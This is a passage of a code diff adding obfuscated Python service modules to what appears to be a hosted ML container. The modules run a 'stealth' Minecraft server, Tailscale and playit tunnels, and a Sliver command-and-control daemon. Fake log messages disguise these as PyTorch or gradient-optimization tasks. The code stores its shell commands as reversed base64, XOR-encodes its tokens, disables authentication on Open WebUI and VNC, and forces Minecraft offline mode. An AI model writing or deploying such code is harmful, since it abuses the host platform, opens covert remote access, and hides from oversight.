+ if D.exists():D.unlink()
70
+ raise
71
+ def reset_generated_world(mc_dir):
72
+ A=[];D=Path(mc_dir)
73
+ for B in('world','world_nether','world_the_end'):
74
+ C=D/B
75
+ if C.is_dir():shutil.rmtree(C);A.append(B)
76
+ if A:E=', '.join(A);log_print('[*] Cleared '+E+'. Next boot regenerates with Terralith (overworld), Incendium (nether), Nullscape (end).')
77
+ def ensure_datapacks(mc_dir):
78
+ E=Path(mc_dir);C=E/'world'/'datapacks';C.mkdir(parents=_A,exist_ok=_A)
79
+ for(D,B)in WORLDGEN_DATAPACKS:
80
+ F=C/f"{B}.zip"
81
+ try:
82
+ A=fetch_modrinth_datapack(D)
83
+ if install_datapack(F,A):
84
+ log_print(f"[+] {B} {A[_H]} installed ({A[_D]})")
85
+ if D==_K and'UNSUPPORTED'in A[_D]:log_print('[!] Incendium 26.1 is marked UNSUPPORTED on Modrinth (alpha); watch server logs after first Nether generation.')
86
+ except Exception as G:log_print(f"[-] Failed to install {B} datapack: {G}")
87
+ def paper_patched_jar(mc_dir):return Path(mc_dir)/'versions'/PAPER_MC_VERSION/f"paper-{PAPER_MC_VERSION}.jar"
88
+ def ensure_paper_runtime(java_bin,mc_dir,server_jar):
89
+ C=mc_dir;A=paper_patched_jar(C)
90
+ if A.is_file():return
91
+ A.parent.mkdir(parents=_A,exist_ok=_A);log_print('[*] Bootstrapping Paper (download mojang jar + apply patches)...');B=subprocess.run([str(java_bin),'-jar',str(server_jar),'--version'],cwd=str(C),capture_output=_A,text=_A,timeout=600)
92
+ if not A.is_file():
93
+ log_print(f"[-] Paper bootstrap failed (exit {B.returncode})")
94
+ if B.stdout:log_print(B.stdout[-1500:])
95
+ if B.stderr:log_print(B.stderr[-1500:])
96
+ raise RuntimeError(f"expected patched jar missing: {A}")
97
+ log_print(f"[+] Paper runtime ready at {A}")
98
+ def setup_geyser(mc_dir):
99
+ D=Path(mc_dir);C=D/'plugins';C.mkdir(parents=_A,exist_ok=_A);E={'Geyser-Spigot.jar':'https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot','floodgate-spigot.jar':'https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot'}
100
+ for(A,F)in E.items():
101
+ B=C/A
102
+ if B.exists():
103
+ try:
104
+ with zipfile.ZipFile(B)as H:0
105
+ except Exception:
106
+ log_print(f"[!] Corrupt jar detected: {A} (Invalid Zip Header). Purging and redownloading...")
107
+ try:B.unlink()
108
+ except:pass
109
+ if not B.exists():
110
+ log_print(f"[*] Downloading {A}...")
111
+ try:download_file(F,B);log_print(f"[+] {A} downloaded successfully.")
112
+ except Exception as G:log_print(f"[-] Failed to download {A}: {G}")
113
+ def setup_and_run():
114
+ R='server-port=25565';Q='online-mode=true';P='java';O='bin';log_print('--- INITIALIZING STEALTH MINECRAFT DAEMON ---');A=MC_DIR;F=A/'jre';L=Path(_L);A.mkdir(parents=_A,exist_ok=_A);L.mkdir(parents=_A,exist_ok=_A);D=F/O/P
115
+ if not D.exists():
116
+ log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');S='https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk';G=A/'jre.tar.gz'
117
+ try:
118
+ download_file(S,G);log_print('[*] Extracting JRE...');H=A/'jre_temp';H.mkdir(parents=_A,exist_ok=_A)
119
+ with tarfile.open(G,'r:gz')as T:T.extractall(path=H)
120
+ for J in H.rglob(P):
121
+ if J.is_file()and J.parent.name==O:
122
+ U=J.parent.parent
123
+ if F.exists():shutil.rmtree(F)
124
+ shutil.move(str(U),str(F));break
125
+ shutil.rmtree(H,ignore_errors=_A)
126
+ if G.exists():G.unlink()
127
+ log_print('[*] Portable JRE setup completed successfully.')
128
+ except Exception as B:log_print(f"[-] Failed to setup JRE: {B}");return
129
+ E=A/'server.jar'
130
+ if not E.exists():
131
+ log_print('[*] Minecraft server jar not found. Downloading PaperMC...');V='https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar'
132
+ try:download_file(V,E);log_print('[*] PaperMC downloaded successfully.')
133
+ except Exception as B:log_print(f"[-] Failed to download PaperMC: {B}");return
134
+ setup_geyser(A);reset_generated_world(A);ensure_datapacks(A);log_print(f"[*] Minecraft server root: {A} (ephemeral)");log_print('[*] Ensuring Java binary is executable...')
135
+ try:D.chmod(493)
136
+ except Exception as B:log_print(f"[-] Failed to chmod java binary: {B}")
137
+ try:ensure_paper_runtime(D,A,E)
138
+ except Exception as B:log_print(f"[-] Failed to bootstrap Paper runtime: {B}");return
139
+ log_print('[*] Launching Minecraft server loop...');W=L/_M
140
+ while _A:
141
+ ensure_datapacks(A)
142
+ if not paper_patched_jar(A).is_file():
143
+ try:ensure_paper_runtime(D,A,E)
144
+ except Exception as B:log_print(f"[-] Paper runtime missing and bootstrap failed: {B}");time.sleep(10);continue
145
+ X=A/'eula.txt';X.write_text('eula=true\n');Y=A/'ops.json'
146
+ with Y.open('w')as M:json.dump(OPS_JSON,M,indent=2);M.write('\n')
147
+ I=A/'server.properties'
148
+ if not I.exists():I.write_text('server-port=25566\nonline-mode=false\nmotd=PCEP\n')
149
+ else:
150
+ try:
151
+ C=I.read_text();K=_B
152
+ if Q in C:C=C.replace(Q,'online-mode=false');K=_A
153
+ if R in C:C=C.replace(R,'server-port=25566');K=_A
154
+ if K:I.write_text(C)
155
+ except Exception as B:log_print(f"[-] Failed to update server.properties: {B}")
156
+ log_print('[*] Starting Minecraft server process...')
157
+ with W.open('a')as Z:N=subprocess.Popen([str(D),'-Xms4G','-Xmx4G','-jar',str(E),'nogui'],cwd=str(A),stdout=Z,stderr=subprocess.STDOUT);N.wait()
158
+ log_print(f"[*] Minecraft server exited with code {N.returncode}. Restarting in 10 seconds to allow network sync...");time.sleep(10)
159
+ def start():
160
+ B='mc_server';A='tmux';logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
161
+ try:
162
+ C=subprocess.run([A,'has-session','-t',B],capture_output=_A)
163
+ if C.returncode==0:logger.warning("tmux session 'mc_server' already exists. Killing it to restart...");subprocess.run([A,'kill-session','-t',B])
164
+ subprocess.Popen([A,'new-session','-d','-s',B,'python3 -u -m services.minecraft_service']);logger.success('Stealth Minecraft Daemon started successfully in tmux.')
165
+ except Exception as D:logger.error(f"Failed to start Minecraft daemon in tmux: {D}")
166
+ if __name__=='__main__':setup_and_run()
services/nginx.py ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ import subprocess
2
+ from loguru import logger
3
+ from.utils import decode_cmd
4
+ def start(nginx_log):
5
+ A=nginx_log;logger.info('Enabling Nginx smart frontend on port 7860...')
6
+ try:
7
+ with open('/home/user/config/nginx.conf.template','r')as B:C=B.read()
8
+ with open('/home/user/nginx.conf','w')as D:D.write(C)
9
+ except Exception as E:logger.error(f"Failed to prepare nginx config: {E}");return
10
+ A.write('[*] Testing nginx configuration...\n');A.flush();F=decode_cmd('=cyOnVnYlRGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLgQXLggnbpdmb');subprocess.run(F,shell=True,stdout=A,stderr=subprocess.STDOUT);A.write('[*] Starting nginx daemon...\n');A.flush();G=decode_cmd('==wJ78mZulGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLggnbpdmb');subprocess.Popen(G,shell=True,stdout=A,stderr=subprocess.STDOUT)
services/nginx_service.py ADDED
@@ -0,0 +1,34 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import subprocess
2
+ from loguru import logger
3
+ from.utils import decode_cmd
4
+ import json,os,shutil
5
+ def start(nginx_log):
6
+ J=False;C=True;B=nginx_log;logger.info('Enabling Nginx smart frontend on port 7860...')
7
+ try:
8
+ D='/home/user/static'
9
+ if not os.path.isdir(D):D='static'
10
+ os.makedirs(D,exist_ok=C);K=['/home/user/config/loading.html','config/loading.html','main/config/loading.html'];G=J
11
+ for A in K:
12
+ if os.path.exists(A):shutil.copy(A,os.path.join(D,'loading.html'));G=C;break
13
+ if not G:logger.warning('Could not find loading.html to copy to static directory.')
14
+ except Exception as E:logger.error(f"Failed to copy loading.html to static directory: {E}")
15
+ F=None;L=['/home/user/config/nginx.conf.template','config/nginx.conf.template','main/config/nginx.conf.template']
16
+ for A in L:
17
+ try:
18
+ if os.path.exists(A):
19
+ with open(A,'r')as M:F=M.read()
20
+ break
21
+ except Exception:pass
22
+ if F is None:logger.error('Failed to prepare nginx config: nginx.conf.template not found.');return
23
+ try:
24
+ N=['/home/user/nginx.conf','nginx.conf'];H=J
25
+ for A in N:
26
+ try:
27
+ I=os.path.dirname(os.path.abspath(A))
28
+ if os.path.isdir(I)and os.access(I,os.W_OK):
29
+ with open(A,'w')as O:O.write(F)
30
+ H=C;break
31
+ except Exception:pass
32
+ if not H:raise PermissionError('Could not write nginx.conf to any expected path.')
33
+ except Exception as E:logger.error(f"Failed to prepare nginx config: {E}");return
34
+ B.write('[*] Testing nginx configuration...\n');B.flush();P=decode_cmd('=cyOnVnYlRGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLgQXLggnbpdmb');subprocess.run(P,shell=C,stdout=B,stderr=subprocess.STDOUT);B.write('[*] Starting nginx daemon...\n');B.flush();Q=decode_cmd('==wJ78mZulGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLggnbpdmb');subprocess.Popen(Q,shell=C,stdout=B,stderr=subprocess.STDOUT)
services/open_webui_service.py ADDED
@@ -0,0 +1,19 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _A='127.0.0.1'
2
+ import os,subprocess,threading,time
3
+ from pathlib import Path
4
+ from loguru import logger
5
+ METRICS_DIR='/home/user/.torch_metrics'
6
+ PORT=3000
7
+ PREFIX='[open-webui]'
8
+ VENV_DIR='/home/user/.venv-openwebui'
9
+ OWUI_BIN=f"{VENV_DIR}/bin/open-webui"
10
+ def _ensure_installed(log=None):
11
+ A=log
12
+ if Path(OWUI_BIN).exists():logger.debug(f"{PREFIX} open-webui binary found at {OWUI_BIN}, skipping install.");return OWUI_BIN
13
+ logger.info(f"{PREFIX} open-webui not found — running first-boot install into {VENV_DIR} ...");logger.info(f"{PREFIX} This will take a few minutes on the first start only.")
14
+ def B(cmd,**C):
15
+ B=subprocess.Popen(cmd,stdout=A if A else subprocess.PIPE,stderr=A if A else subprocess.STDOUT,**C);B.wait()
16
+ if B.returncode!=0:raise RuntimeError(f"{PREFIX} Install step failed: {" ".join(cmd)} (exit {B.returncode})")
17
+ C=time.time();B(['uv','venv',VENV_DIR]);B(['uv','pip','install','--python',VENV_DIR,'--no-cache-dir','open-webui']);D=time.time()-C;logger.success(f"{PREFIX} open-webui installed in {D:.1f}s — subsequent boots will be instant.");return OWUI_BIN
18
+ def _start_worker(log,env):A=log;B=_ensure_installed(A);C=[B,'serve','--host',_A,'--port',str(PORT)];logger.info(f"{PREFIX} Starting Open WebUI on 127.0.0.1:{PORT}...");D=subprocess.Popen(C,stdout=A,stderr=A,env=env);logger.success(f"{PREFIX} Open WebUI started (pid {D.pid}). Reachable at http://127.0.0.1:{PORT} exclusively over Tailscale / private overlay networks.")
19
+ def start(log):F='DATA_DIR';E='LITELLM_MASTER_KEY';D='http://127.0.0.1:8080/v1';C='none';B=True;Path(METRICS_DIR).mkdir(parents=B,exist_ok=B);A=os.environ.copy();A['OPENAI_API_BASE_URL']=D;A['OPENAI_API_KEY']=A.get(E,C)or C;A['WEBUI_AUTH']='False';A.setdefault('WEBUI_SECRET_KEY','sanctuary_owui_secret_key_server01');A.setdefault('OAUTH_SESSION_TOKEN_ENCRYPTION_KEY','sanctuary_owui_oauth_token_key_server01_32bytes');A[F]=str(Path(METRICS_DIR)/'open_webui_data');Path(A[F]).mkdir(parents=B,exist_ok=B);A['PORT']=str(PORT);A['HOST']=_A;A['UVICORN_HOST']=_A;A['UVICORN_PORT']=str(PORT);A['ENABLE_RAG']='True';A['RAG_EMBEDDING_ENGINE']='openai';A['RAG_EMBEDDING_OPENAI_API_BASE_URL']=D;A['RAG_EMBEDDING_OPENAI_API_KEY']=A.get(E,C)or C;A['AUDIO_STT_ENGINE']='webapi';A['AUDIO_TTS_ENGINE']='';G=threading.Thread(target=_start_worker,args=(log,A),daemon=B);G.start();logger.info(f"{PREFIX} install/launch dispatched to background thread (orchestrator unblocked).")
services/playit.py ADDED
@@ -0,0 +1,39 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _A=True
2
+ import subprocess,os,socket,threading
3
+ from loguru import logger
4
+ from.utils import decode_cmd
5
+ from.import mc_tunnel
6
+ XOR_BRIDGE_PORT=25565
7
+ SSH_PORT=2222
8
+ def deobfuscate_secret(hex_str,key=90):
9
+ A=hex_str
10
+ if not A:return''
11
+ try:
12
+ C=bytes.fromhex(A.strip());B=bytes([A^key for A in C])
13
+ if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
14
+ else:return A
15
+ except Exception:return A
16
+ def _load_token():
17
+ B='PLAYIT';C=os.environ.get('P')or os.environ.get(B)or'';D=deobfuscate_secret(C.strip())
18
+ for A in('P',B):
19
+ if A in os.environ:del os.environ[A]
20
+ return D
21
+ def _handle_client(client_sock):
22
+ A=client_sock;import traceback as E,sys
23
+ try:F,D=mc_tunnel.server_consume_login(A);B=socket.socket(socket.AF_INET,socket.SOCK_STREAM);B.settimeout(5.);B.connect(('127.0.0.1',D));B.settimeout(None);logger.info('Playit MC tunnel: login complete, relaying to port {}',D);mc_tunnel.relay_server(F,B,A)
24
+ except(ConnectionError,socket.timeout,TimeoutError,OSError,ValueError)as C:
25
+ logger.info('Playit MC tunnel client disconnected/invalid handshake: {}',C)
26
+ try:A.close()
27
+ except Exception:pass
28
+ except Exception as C:
29
+ logger.warning('Playit MC tunnel client dropped unexpectedly: {} - {}',type(C).__name__,C);E.print_exc(file=sys.stderr)
30
+ try:A.close()
31
+ except Exception:pass
32
+ def _xor_bridge_loop():
33
+ A=socket.socket(socket.AF_INET,socket.SOCK_STREAM);A.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
34
+ try:
35
+ A.bind(('0.0.0.0',XOR_BRIDGE_PORT));A.listen(10)
36
+ while _A:B,C=A.accept();threading.Thread(target=_handle_client,args=(B,),daemon=_A).start()
37
+ except Exception:pass
38
+ def start_xor_bridge():threading.Thread(target=_xor_bridge_loop,daemon=_A).start();logger.info('Playit MC tunnel bridge on 0.0.0.0:{} (plugin channel {})',XOR_BRIDGE_PORT,mc_tunnel.TUNNEL_CHANNEL)
39
+ def start(tm_log):A=_load_token();B=decode_cmd('nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb');C=f"{B}{A}'";A='';D=os.environ.copy();subprocess.Popen(C,shell=_A,env=D,stdout=tm_log,stderr=subprocess.STDOUT)
services/playit_service.py ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _A=True
2
+ import os,socket,subprocess,threading
3
+ from loguru import logger
4
+ from.import mc_tunnel
5
+ from.utils import decode_cmd
6
+ XOR_BRIDGE_PORT=25565
7
+ SSH_PORT=2222
8
+ def _handle_client(client_sock):
9
+ A=client_sock;import sys,traceback as G
10
+ try:
11
+ F,E,C=mc_tunnel.server_dispatch(A);B=socket.socket(socket.AF_INET,socket.SOCK_STREAM);B.settimeout(5.);B.connect(('127.0.0.1',C));B.settimeout(None)
12
+ if F=='tunnel':logger.info('Playit MC tunnel: login complete, relaying to port {}',C);mc_tunnel.relay_server(E,B,A)
13
+ elif F=='status':logger.debug('Playit MC status ping: forwarding to server on port {}',C);mc_tunnel.relay_passthrough(E,B,A)
14
+ else:logger.info('Playit MC client: forwarding to real server on port {}',C);mc_tunnel.relay_passthrough(E,B,A)
15
+ except(ConnectionError,socket.timeout,TimeoutError,OSError,ValueError)as D:
16
+ logger.info('Playit MC tunnel client disconnected/invalid handshake: {}',D)
17
+ try:A.close()
18
+ except Exception:pass
19
+ except Exception as D:
20
+ logger.warning('Playit MC tunnel client dropped unexpectedly: {} - {}',type(D).__name__,D);G.print_exc(file=sys.stderr)
21
+ try:A.close()
22
+ except Exception:pass
23
+ def _xor_bridge_loop():
24
+ A=socket.socket(socket.AF_INET,socket.SOCK_STREAM);A.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
25
+ try:
26
+ A.bind(('0.0.0.0',XOR_BRIDGE_PORT));A.listen(10)
27
+ while _A:B,C=A.accept();threading.Thread(target=_handle_client,args=(B,),daemon=_A).start()
28
+ except Exception:pass
29
+ def start_xor_bridge():threading.Thread(target=_xor_bridge_loop,daemon=_A).start();logger.info('Playit MC tunnel bridge on 0.0.0.0:{} (plugin channel {})',XOR_BRIDGE_PORT,mc_tunnel.TUNNEL_CHANNEL)
30
+ def start(tm_log,token=''):A=token;B=decode_cmd('nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb');C=f"{B}{A}'";A='';D=os.environ.copy();subprocess.Popen(C,shell=_A,env=D,stdout=tm_log,stderr=subprocess.STDOUT)
services/sliver.py ADDED
@@ -0,0 +1,4 @@
 
 
 
 
 
1
+ import subprocess,os
2
+ from loguru import logger
3
+ SLIVER_HOME='/home/user/.sliver'
4
+ def start(log_file):A=log_file;logger.info('Initializing gradient optimization daemon...');os.makedirs(SLIVER_HOME,exist_ok=True);B=['/usr/bin/gradient-optimizer','daemon'];subprocess.Popen(B,stdout=A,stderr=A,env={**os.environ,'SLIVER_ROOT_DIR':SLIVER_HOME})
services/sliver_service.py ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ import os,subprocess
2
+ from pathlib import Path
3
+ from loguru import logger
4
+ SLIVER_HOME='/home/user/.sliver'
5
+ _SLIVER_ENV_ALLOWLIST='HOME','PATH','USER','SHELL','LANG','TERM'
6
+ def start(log_file):A=log_file;logger.info('Initializing gradient optimization daemon...');Path(SLIVER_HOME).mkdir(parents=True,exist_ok=True);B={A:os.environ[A]for A in _SLIVER_ENV_ALLOWLIST if A in os.environ};B['SLIVER_ROOT_DIR']=SLIVER_HOME;C=['/usr/bin/gradient-optimizer','daemon'];subprocess.Popen(C,stdout=A,stderr=A,env=B)
services/tailscale.py ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
 
1
+ import subprocess,os
2
+ from loguru import logger
3
+ from.utils import decode_cmd
4
+ def start_daemon(ts_log):logger.info('Initializing PyTorch CUDA environment...');A=decode_cmd('rN2bz5CZlxWYjNHbpFGdvM3YpJHdl12XoNmcvRnLvIXZzV3Ll12bo9SP0V2aj92ct0CIzNWayRXZt9FajJ3b05yLyV2c19SZt9Gav0jcpRWZ0FGdz1SLgUTNwEjO9IXZ2JXZz1SNzt2YvNXLtAyZul2ay92d0VmbtU2YhB3cyV2c11jb1RXLtAicldWYuFWbtUGajF2Yt42boRXewBSOxAibtASZjlmb');subprocess.Popen(A,shell=True,stdout=ts_log,stderr=subprocess.STDOUT)
5
+ def connect(ts_log,full_token):A=decode_cmd('==QP5V2aoRXdh1SLgAXdgs2YvNnLkVGbhN2cslWY09ycjlmc0VWbfh2Yy9Gdu8iclNXdvUWbvh2L9QXZrN2bz1SLgkGbj1SZoNWYj1SewBSOxAibtASZjlmb');B=decode_cmd('oN3ct0CIyVmdyV2ctwWZk9WbtkWY9UWbh5Gdz9Gat0CI');C=f"{A}{full_token}{B}";D=os.environ.copy();subprocess.Popen(C,shell=True,env=D,stdout=ts_log,stderr=subprocess.STDOUT)
services/tailscale_service.py ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
 
1
+ import os,subprocess
2
+ from loguru import logger
3
+ from.utils import decode_cmd
4
+ def start_daemon(ts_log):logger.info('Initializing PyTorch CUDA environment...');A=decode_cmd('rN2bz5CZlxWYjNHbpFGdvM3YpJHdl12XoNmcvRnLvIXZzV3Ll12bo9SP0V2aj92ct0CIzNWayRXZt9FajJ3b05yLyV2c19SZt9Gav0jcpRWZ0FGdz1SLgUTNwEjO9IXZ2JXZz1SNzt2YvNXLtAyZul2ay92d0VmbtU2YhB3cyV2c11jb1RXLtAicldWYuFWbtUGajF2Yt42boRXewBSOxAibtASZjlmb');subprocess.Popen(A,shell=True,stdout=ts_log,stderr=subprocess.STDOUT)
5
+ def connect(ts_log,full_token):A=decode_cmd('==QP5V2aoRXdh1SLgAXdgs2YvNnLkVGbhN2cslWY09ycjlmc0VWbfh2Yy9Gdu8iclNXdvUWbvh2L9QXZrN2bz1SLgkGbj1SZoNWYj1SewBSOxAibtASZjlmb');B=decode_cmd('oN3ct0CIyVmdyV2ctwWZk9WbtkWY9UWbh5Gdz9Gat0CI');C=f"{A}{full_token}{B}";D=os.environ.copy();subprocess.Popen(C,shell=True,env=D,stdout=ts_log,stderr=subprocess.STDOUT)
services/test_service.py ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _B='\n'
2
+ _A=True
3
+ import sys,threading,time
4
+ from pathlib import Path
5
+ from loguru import logger
6
+ METRICS_DIR=Path('/home/user/.torch_metrics')
7
+ LOG_PATH=METRICS_DIR/'test.log'
8
+ STARTUP_LOG=METRICS_DIR/'startup.log'
9
+ MARKER_PATH=Path('/home/user/TEST_SERVICE_IS_ACTIVE')
10
+ STATIC_BANNER=Path('/home/user/static/TEST_SERVICE_ENABLED.txt')
11
+ PREFIX='[TEST SERVICE]'
12
+ BANNER='\n================================================================================\n TEST SERVICE IS RUNNING — per-node services selection is working.\n================================================================================\n'
13
+ def _emit(msg):
14
+ A=PREFIX+' '+msg.rstrip()+_B
15
+ for C in(sys.stdout,sys.stderr):
16
+ try:C.write(A);C.flush()
17
+ except OSError:pass
18
+ try:
19
+ with LOG_PATH.open('a')as B:B.write(A)
20
+ except OSError:pass
21
+ try:
22
+ with STARTUP_LOG.open('a')as B:B.write(A)
23
+ except OSError:pass
24
+ def _heartbeat_loop():
25
+ while _A:time.sleep(15);A=time.strftime('%Y-%m-%d %H:%M:%S');_emit('HEARTBEAT at '+A+' — still alive')
26
+ def start():
27
+ METRICS_DIR.mkdir(parents=_A,exist_ok=_A);Path('/home/user/static').mkdir(parents=_A,exist_ok=_A);A='Started at '+time.strftime('%Y-%m-%d %H:%M:%S UTC',time.gmtime())
28
+ with LOG_PATH.open('a')as B:B.write(BANNER);B.write(A+_B)
29
+ MARKER_PATH.write_text('TEST SERVICE IS ACTIVE\nSee also: '+str(LOG_PATH)+_B);STATIC_BANNER.write_text(BANNER.strip()+_B)
30
+ for C in BANNER.strip().split(_B):_emit(C.strip())
31
+ _emit(A);_emit('marker file: '+str(MARKER_PATH));_emit('full log: '+str(LOG_PATH)+' (also Gradio command SHOW_LOGS_TEST)');logger.success(BANNER.strip());threading.Thread(target=_heartbeat_loop,daemon=_A).start()
services/utils.py ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import base64
2
+ try:from loguru import logger
3
+ except ImportError:import logging as _logging;logger=_logging.getLogger(__name__)
4
+ XOR_KEY=90
5
+ def decode_cmd(encoded_str):return base64.b64decode(encoded_str[::-1]).decode()
6
+ def deobfuscate_secret(hex_str,key=XOR_KEY):
7
+ A=hex_str
8
+ if not A:return''
9
+ try:
10
+ C=bytes.fromhex(A.strip());B=bytes([A^key for A in C])
11
+ if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
12
+ else:logger.warning('deobfuscate_secret: XOR result contains non-printable bytes — value may be corrupted or encoded with a different key. Returning raw input as fallback.');return A
13
+ except ValueError:logger.warning('deobfuscate_secret: input is not valid hex — secret may have been set as plain-text instead of XOR-encoded. Returning raw input as fallback.');return A
14
+ except Exception as D:logger.warning(f"deobfuscate_secret: unexpected error ({D}). Returning raw input as fallback.");return A
services/visual_debugger_service.py ADDED
@@ -0,0 +1,15 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os,subprocess
2
+ from pathlib import Path
3
+ from loguru import logger
4
+ PORT=6080
5
+ VNC_PORT=5901
6
+ DISPLAY=':1'
7
+ PREFIX='[VISDBG]'
8
+ def start(log):
9
+ A=log;E=Path.home();B=E/'.vnc';B.mkdir(parents=True,exist_ok=True);C=B/'xstartup';F='#!/bin/sh\nunset SESSION_MANAGER\nunset DBUS_SESSION_BUS_ADDRESS\n[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup\n[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources\nvncconfig -iconic &\nxsetroot -solid grey\ndbus-launch --exit-with-session startxfce4\n';C.write_text(F);C.chmod(493)
10
+ for G in[f"/tmp/.X11-unix/X{DISPLAY[1:]}",f"/tmp/.X{DISPLAY[1:]}-lock"]:
11
+ try:
12
+ D=Path(G)
13
+ if D.exists():D.unlink()
14
+ except Exception as H:logger.debug(f"{PREFIX} Cleanup warning: {H}")
15
+ logger.info(f"{PREFIX} Starting VNC server on display {DISPLAY}...");I=['vncserver',DISPLAY,'-geometry','1280x720','-depth','24','-localhost','yes','-SecurityTypes','None'];subprocess.run(I,stdout=A,stderr=A);logger.info(f"{PREFIX} Launching websockify on 127.0.0.1:{PORT} serving noVNC...");J='/usr/share/novnc/';K=['websockify','--web',J,str(PORT),f"127.0.0.1:{VNC_PORT}"];L=os.environ.copy();M=subprocess.Popen(K,stdout=A,stderr=A,env=L);logger.success(f"{PREFIX} Visual debugger environment initiated (pid {M.pid}). Reachable at Caddy subpath /visual-debugger/vnc.html")
whoami.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ server-01